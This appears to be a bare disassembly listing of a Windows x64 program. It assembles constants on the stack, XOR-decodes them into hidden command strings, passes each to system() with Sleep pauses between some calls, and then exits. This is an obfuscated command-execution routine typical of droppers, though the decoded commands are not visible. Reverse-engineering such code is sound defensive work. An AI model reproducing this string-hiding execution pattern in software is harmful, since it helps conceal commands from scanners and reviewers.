movabs r14, 0x75e6ae6f457da720
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rsi, 0x880a79c66f49722b
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rdi, 0xf03bb72c846935e4
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rbx, 0xc37fc951c0a8bd6c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x479e416032ac1962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x5ae9db7fb60fd418
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x914fd648d810418d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x22b073125dd87a07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x5ae9db7fb60fb160
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqa xmm2, xmmword [rbp + 0x380]
vxorps xmm2, xmm2, xmmword [rbp + 0x3c0]
vmovdqa xmmword [rbp + 0x380], xmm2
lea rcx, [rbp + 0x360]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x7ee7b465774bf32a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xfa7f1aa31c15017d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.1400022d0
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0x22b0731238a01f29
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rdi, 0x5ae9db7fb60fb160
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rbx, 0x914fd648d810418d
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rsi, 0x22b073125dd87a07
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqa xmm2, xmmword [rbp + 0x380]
vxorps xmm2, xmm2, xmmword [rbp + 0x3c0]
vmovdqa xmmword [rbp + 0x380], xmm2
lea rcx, [rbp + 0x360]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x4ddefa45324df807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x892369d473716f35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0xcd36a221aa6522e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xcc62c16fc4afbd6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x47c8163c37b6135b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x64dbfb13c3618f40
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x4e41dde4b7603e37
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs r14, 0x664c87391fffdf62
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x3a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x3c0], ymm1
lea rcx, [rbp + 0x3a0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x4ddefa45324df807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x892369d473716f35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0xcd36a221aa6522e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xcc62c16fc4afbd6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x4dc4107737b6135b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x64c9be07d3218312
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x7f67e3d6970c7a7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0x4e41dde4b7600f11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x3a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x3c0], ymm1
lea rcx, [rbp + 0x3a0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3